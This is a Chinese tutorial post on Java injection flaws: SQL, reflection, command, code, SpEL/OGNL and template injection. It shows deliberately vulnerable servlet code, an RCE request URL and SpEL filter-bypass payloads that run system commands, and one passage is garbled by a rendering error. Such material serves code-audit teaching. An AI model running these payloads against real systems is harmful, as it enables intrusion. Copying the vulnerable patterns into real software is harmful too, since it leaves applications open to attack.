文章目录

  • 注入
    • SQL注入
      • JDBC拼接不当造成SQL注入
      • 框架使用不当造成SQL注入
    • 不安全的反射
    • 命令注入
    • 代码注入
    • 表达式注入
      • Spel表达式注入
      • OGNL表达式注入
    • 模板注入

注入

SQL注入

JDBC拼接不当造成SQL注入

JDBC有两种方法执行SQL语句,分别为PrepareStatement和Statement。两个方法的区别在于PrepareStatement会对SQL语句进行预编译,而Statement方法在每次执行时都需要编译,会增大系统开销。理论上PrepareStatement的效率和安全性会比Statement要好,但并不意味着使用PrepareStatement就绝对安全,不会产生SQL注入

PrepareStatement方法支持使用‘?’对变量位进行占位,在预编译阶段填入相应的值构造出完整的SQL语句,此时可以避免SQL注入的产生。但开发者有时为了便利,会直接采取拼接的方式构造SQL语句,此时进行预编译则无法阻止SQL注入的产生。如以下代码所示,PrepareStatement虽然进行了预编译,但在以拼接方式构造SQL语句的情况下仍然会产生SQL注入。代码示例如下(若使用“or 1=1”,仍可判断出这段程序存在SQL注入)

String sql = "select * from user where id =" + req.getParameter("id");
out.println(sql);
try{PreparedStatement pstt = con.prepareStatement(sql);ResultSet re = pstt.executeQuery();while(rs.next()){out.println("<br>id:"+rs.getObject("id"));out.println("<br>name:"+re.getObject("name"));}catch(SQLException throwables){throwables.printStackTrace();}
}

正确地使用PrepareStatement可以有效避免SQL注入的产生,使用“?”作为占位符时,填入对应字段的值会进行严格的类型检查。将前面的“拼接构造SQL语句”改为如下“使用占位符构造SQL语句”的代码片段,即可有效避免SQL注入的产生

PrintWriter out = resp.getWriter();
String sql = "select * from user where id = ?"
out.println(sql);
try{PreparedStatement pstt = con.prepareStatement(sql);pstt.setInt(1,Integer.parseInt(req.getParameter("id")));ResultSet rs = pstt.executeQuery();....
}

框架使用不当造成SQL注入

如今的Java项目或多或少会使用对JDBC进行更抽象封装的持久化框架,如MyBatis和Hibernate。通常,框架底层已经实现了对SQL注入的防御,但在研发人员未能恰当使用框架的情况下,仍然可能存在SQL注入的风险

Mybatis框架

MyBatis框架的思想是将SQL语句编入配置文件中,避免SQL语句在Java程序中大量出现,方便后续对SQL语句的修改与配置

MyBatis中使用parameterType向SQL语句传参,在SQL引用传参可以使用#{Parameter}和${Parameter}两种方式

使用#{Parameter}构造SQL的代码如下所示

<select id="getUsername" resultType="com.ocean">select id,name,age from user where name #{name}
<select>

从Debug回显的SQL语句执行过程可以看出,使用#{Parameter}方式会使用“?”占位进行预编译,因此不存在SQL注入的问题。用户可以尝试构造“name”值为“z1ng or 1=1”进行验证。回显如下,由于程序未查询到结果出现了空指针异常,因此此时不存在SQL注入

使用${Parameter}构造SQL的代码如下所示

<select id = "getUsername" resultType = "com.ocean">select id,name,age from user where name = ${name}
<select>

“name”值被拼接进SQL语句之中,因此此时存在SQL注入

${Parameter}采用拼接的方式构造SQL,在对用户输入过滤不严格的前提下,此处很可能存在SQL注入

Hibernate

Hibernate是一种ORM框架,全称为 Object_Relative DateBase-Mapping,Hibernate框架是Java持久化API(JPA)规范的一种实现方式。Hibernate 将Java 类映射到数据库表中,从 Java 数据类型映射到 SQL 数据类型。Hibernate是目前主流的Java数据库持久化框架,采用Hibernate查询语言(HQL)注入

HQL的语法与SQL类似,受语法的影响,HQL注入在实际漏洞利用上具有一定的限制

不安全的反射

利用 Java 的反射机制,可以无视类方法、变量访问权限修饰符,调用任何类的任意方法、访问并修改成员变量值

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class.invoke(clazz.newInstance(),"id"));

但是Runtime为单例模式,在其生命周期内只能有一个对象,因此以上代码是无法生效的,正确如下

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

这段payload可以拆分为以下代码

Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec",String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"calc.exe");

Java中的Rce, 常见的可执行函数如:Runtime.getRuntime().exec(),在审计的时候也要看Process、ProcessBuilder.start()

可能出现的环境

  1. 服务器直接存在可执行函数(exec()等),且传入的参数过滤不严格导致 RCE 漏洞
  2. 由表达式注入导致的 RCE 漏洞,常见的有:SpEL、OGNL(Struts2中常出现)、MVEL、EL、Fel、JST+EL等
  3. 由Java后端模板引擎注入导致的RCE漏洞,常见的如:Freemarker、Velocity、Thymeleaf(常用在Spring框架)等
  4. 由Java一些脚本语言引起的RCE漏洞,常见的如:Groovy、JavaScriptEngine等
  5. 由第三方开源组件引起的RCE漏洞,常见的如:Fastjson、Shiro、Xstream、Struts2、Weblogic等

由不安全的输入造成的反射命令执行Demo

代码对于传入的类、传入的类方法、传入类的参数没有做任何限制

@WebServlet("/Rce")
public class Rce extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {PrintWriter printWriter = resp.getWriter();// 接收参数String name = req.getParameter("command");String method = req.getParameter("method");String str = req.getParameter("str");try {// 获取类的无参数构造方法Class getCommandClass = Class.forName(name);Constructor constructor = getCommandClass.getDeclaredConstructor();constructor.setAccessible(true);// 实例化类Object getInstance = constructor.newInstance();// 获取类方法Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);// 调用类方法Object mes = getCommandMethod.invoke(getInstance, str);printWriter.append("即将执行命令");printWriter.append((Character) mes);printWriter.flush();} catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {e.printStackTrace();}}
}

可以看到代码中存在反射调用,当调用不安全类时,会造成命令执行

http://localhost:8080/JavaRCE_war_exploded/Rce?command=java.lang.Runtime&method=exec&str=calc

命令注入

Java的Runtime类可以提供调用系统命令的功能

protected void doGet(HttpServletRequest req,HttpServletResponse resp) throws ServletException,IOException{String cmd = req.getParameter("cmd");Process process = Runtime.getRuntime().exec(cmd);InputStream in = process.getInputStream();ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();byte[] b = new byte[1024];int i = -1;while((i=in.read(b))!=-1){byteArrayOutputStream.write(b,0,i);}PrintWriter out = resp.getWriter();out.print(new String(byteArrayOutputStream.toByteArray()));
}

系统命令连接符有 |、||、&、&&

  • |:前边命令输出结果作为后边的输入
  • ||:前边的命令执行失败才执行后边的命令
  • &:前边的命令执行后执行后边的命令
  • &&:前边的命令执行成功执行后边的命令

注意:Java环境下的命令执行,& 作为字符拼接,不能命令执行

例:Process process = Runtime.getRuntime().exec("ping" + url)

Runtime 类中的 exec 方法,要执行的命令可以通过字符串和数组的方式传入,当传入的参数类型为字符串时,会先经过StringTokenizer的处理,主要是针对空格以及换行符等空白字符进行处理,后续会分割出一个cmdarray数组保存分割后的命令参数,其中cmdarray的第一个元素为所要执行的命令

代码注入

产生代码注入漏洞的前提条件是将用户输入的数据作为Java代码进行执行

由此所见,程序要有相应的功能能够将用户输入的数据当作代码执行,而Java反射就可以实现这样的功能:根据传入不同的类名、方法名和参数执行不同的功能

String ClassName = req.getParameter("ClassName");
String MethodName = req.getParameter("Method");
String[] Args = new String[]{req.getParameter("Args").toString()};
try{Class clazz = Class.forName(ClassName);Constructor constructor = clazz.getConstructor(String[].class);Object obj = constructor.newInstance(new Object[]{Args});Method method = clazz.getMethod(MethodName);method.invoke(obj);
}
......

代码注入更具有灵活性。例如在Apache Commons collections反序列化漏洞中直接使用Runtime.getRuntime().exec()执行系统命令是无回显的。有安全研究员研究出可回显的利用方式,其中一种思路是通过URLloader远程加载类文件以及异常处理机制构造出可以回显的利用方式

具体步骤如下:

首先构造出一个恶意类代码,并编译成Jar包放置在远程服务器上。然后利用ApacheCommons collections反序列化漏洞可以注入任意代码的特点,构造poc

import Java.io.BufferedReader;
import Java.io.InputStreamReader;
public class Evil{public static void Exec(String args) throws Exception{Process proc = Runtime.getRuntime().exec(args);}
}

在将用户可控部分数据注入代码达到动态执行某些功能的目的之前,需进行严格的检测和过滤,避免用户注入恶意代码,造成系统的损坏和权限的丢失

表达式注入

表达式语言(Expression Language),又称EL表达式,是一种在JSP中内置的语言,可以作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作

EL基础语法

在JSP中,用户可以使用 来 表 示 此 处 为 E L 表 达 式 , 例 如 , 表 达 式 ” {}来表示此处为EL表达式,例如,表达式” 来表示此处为EL表达式,例如,表达式”{ name }”表示获取“name”变量

EL表达式也可以实例化Java的内置类,如Runtime.class会执行系统命令

Spel表达式注入

Spel(Spring 表达式语言全程为Spring Expression Language)是Spring Framework创建的一种表达式语言,它支持在运行时查询和操纵对象图表,注意 Spel 是以 API 接口的形式创建的,允许将其集成到其他应用程序和框架中

特性:

  • 使用 Bean 的 ID 来引用 Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

基础

Spel 定界符

Spel 使用 #{} 作为定界符,所有在打括号里的字符都被看做是 Spel 表达式,在其中可以使用 Spel 运算符、变量、引用 Bean 及其属性和方法等

#{} 和 ${} 的区别:

  • #{} 就是 Spel 的定界符,用于指明内容为 Spel 表达式并执行

  • ${} 主要用于加载外部属性文件中的值

    两者可以混合使用,但是必须 #{} 在外面,KaTeX parse error: Expected 'EOF', got '#' at position 10: {} 在里面,如:#̲{'()’},注意单引号是字符串类型才添加的,如#{’ocean’},#{2222 }

漏洞触发

ExpressionParser parser = new SpelExpressionParser();//ExpressionParser构造解析器
Expression exp = parser.parseExpression("'ocean'");//Expression负责评估定义的表达式字符串
String message = (String) exp.getValue();//getValue方法执行表达式

如果表达式字符串是可控的,那么可能就存在命令执行漏洞

在 Spel 中,使用 T() 运算符会调用类作用域的方法和常量

Expression exp = parser.parseExpression("T(java.lang.Runtime)");//Expression负责评估定义的表达式字符串

括号中需要包括类名的全限定名,也就是包名加上类名,唯一例外的是,Spel 内置了 java.lang 报下的类声明,也就是 java.lag.String 可以通过 T(String) 访问,而不需要使用全限定名

Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");

payload构造

Fuzz

Expression exp = parser.parseExpression("''.class");
Expression exp = parser.parseExpression("\"\".class");

bypass payload

  • 反射调用

    T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
    
  • 反射调用+字符串拼接,针对java.long、Runtime、exec被过滤的情况

    T(String).getClass().forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec".T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")).new String[]{"cmd","/C","calc"})
    
  • 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符

    new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
    
  • 当执行的系统命令被过滤或者被URL编码时,可以通过String类动态生成字符

    T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))等于T(java.lang.Runtime).getRuntime.exec('calc')
    
  • JavaScript引擎通用poc

    T(javax.script.ScriptEngineManager).newInstance().getEngineByName('nashorn').eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time().ex"+"ec(s);")
    
  • 当T(getClass())被过滤时

    ''.class.forName('java.lang.Runtime')
    new String('s').class.forName('java.lang.Runtime')
    

实例UNctf-goodjava

https://evoa.me/archives/14/#GoodJava

OGNL表达式注入

OGNL 全称Object-Graph Navigation Language即对象导航图语言,一种功能强大的表达式语言

功能:

  • 存取对象的任意属性
  • 调用对象的方法
  • 遍历整个对象的结构图
  • 实现字段类型转化

webwork2 和 Struts2.x 中使用 OGNL 代替原来的 EL 来做界面数据绑定(就是把textfield.hidden和对象层某个类的某个属性绑定在一起,修改和现实自动同步)Struts2框架因为滥用OGNL表达式,所以漏洞较多

模板注入

FreeMarker模板注入

文章大部分转载于Java代码审计入门篇一书
https://weread.qq.com/web/reader/c8732a70726fa058c87154b
更多文章:https://mp.weixin.qq.com/s/lwpeuei58smGbAlezo1IwQ

Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)相关推荐

  1. 注入漏洞-sql注入

     注入漏洞 注入漏洞 1 SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句.具体来说,它是利用现有应用程序, ...

  2. SQL注入漏洞-SQL注入原理与实践

    什么是SQL注入?:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL ...

  3. php反序列化注入漏洞,SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

    Author: p0wd3r (知道创宇404安全实验室) 0x00 漏洞概述 1.漏洞简介 SugarCRM(http://www.sugarcrm.com/ )是一套开源的客户关系管理系统.近期研 ...

  4. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  5. SQL注入漏洞攻守之道

    1. 什么是SQL注入漏洞 SQL注入是指应用程序直接将用户输入的内容拼接到SQL语句中.由于用户输入的内容也是SQL中的一部分,攻击者可以注入自己定义的语句该院原SQL的逻辑.通过控制SQL语句,达 ...

  6. mysql 注入用例_SQL注入漏洞安全测试(WVS/POST型/手工SQL注入)

    1.WVS自动化SQL注入测试 n  测试目的: 测试网站是否存在SQL注入漏洞. n  测试用例: 1)     Scan settings选择sql injection策略: 2)     输入扫 ...

  7. 张小白的渗透之路(二)——SQL注入漏洞原理详解

    SQL注入漏洞简介 乱七八糟的就不多说了,自己百度去 SQL注入原理 想要更好的学习SQL注入,那么我们就必须要深入的了解每种数据库的SQL语法及特性.下面通过一个经典的万能密码的例子带大家来拨开一下 ...

  8. sqlmap注入教程linux,Linux Sqlmap检测sql注入漏洞工具安装使用教程

    Sqlmap工具 什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行命令) sql注 ...

  9. 【安全漏洞】Cisco命令注入漏洞CVE-2021-1414分析

    概述 最近关注了Cisco的一个命令注入漏洞CVE-2021-1414,命令注入之后可导致远程代码执行: 漏洞存在于固件版本低于V1.0.03.21的RV340系列路由器中,当前最新版本V1.0.03 ...

  10. 对搜狐 网易和TOM三大门户网站的SQL注入漏洞检测

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 对搜狐. ...

最新文章

  1. 每日一皮:第一次用CSS的时候,我震惊了...
  2. Windows Presentation Foundation(WPF)中的数据绑定(使用XmlDataProvider作控件绑定)
  3. PHP简单功能的实现
  4. tf2: Gradients do not exist for variables when minimizing the loss.
  5. 信息摘要算法之三:SHA256算法分析与实现
  6. 浪潮n系列服务器指示灯_【科恩电气】通用薄型区域传感器 NA2N系列
  7. Sybase常用配置参数
  8. html5-5 HTML5表单元素和内嵌框架
  9. 【自用】Android 切割Bitmap为多个小的Bitmap
  10. SSM框架中的Mapper.xml文件中的增、删、改、查等操作
  11. 2017年7月19日晚作业
  12. 计算机论文的字体要求,论文格式及字体大小要求(标准)
  13. 【Redis】笔记(尚硅谷、黑马整合)
  14. Z-001 开关电源共模电感计算的方法详解
  15. LED恒流驱动芯片NU9910用于LED舞台灯光驱动控制芯片拼对拼SMD802
  16. lofter 爬虫_Python网络爬虫1 - 爬取网易LOFTER图片
  17. 回归方程的拟合优度检验_判定一元线性回归方程拟合优度的判定系数R的取值范围...
  18. MTK平台 配置GNSS的不同模式
  19. Cognitive Complexity of methods should not be too high Refactor this method to reduce its Cognitive
  20. 中国大学慕课——程序设计与算法(一)第三周测验

热门文章

  1. JavaScript 中的设计模式
  2. Solidworks设计电路外形导入AltiumDesigner
  3. JWT springboot集成jWT
  4. 小鹏高增长下的隐忧:太像特斯拉是一个魔咒?
  5. linux读写mac HFS+
  6. STM32 自定义HID USB设备的实现
  7. DataX数据交换,starrockswriter异常解决
  8. 洛谷P2472-网络最大流(点的拆分)
  9. c 语言怎么实现可视化编程,自定义编程语言的实现
  10. 基于激活聚类的后门检测:Detecting Backdoor Attacks on Deep Neural Networks by Activation Clustering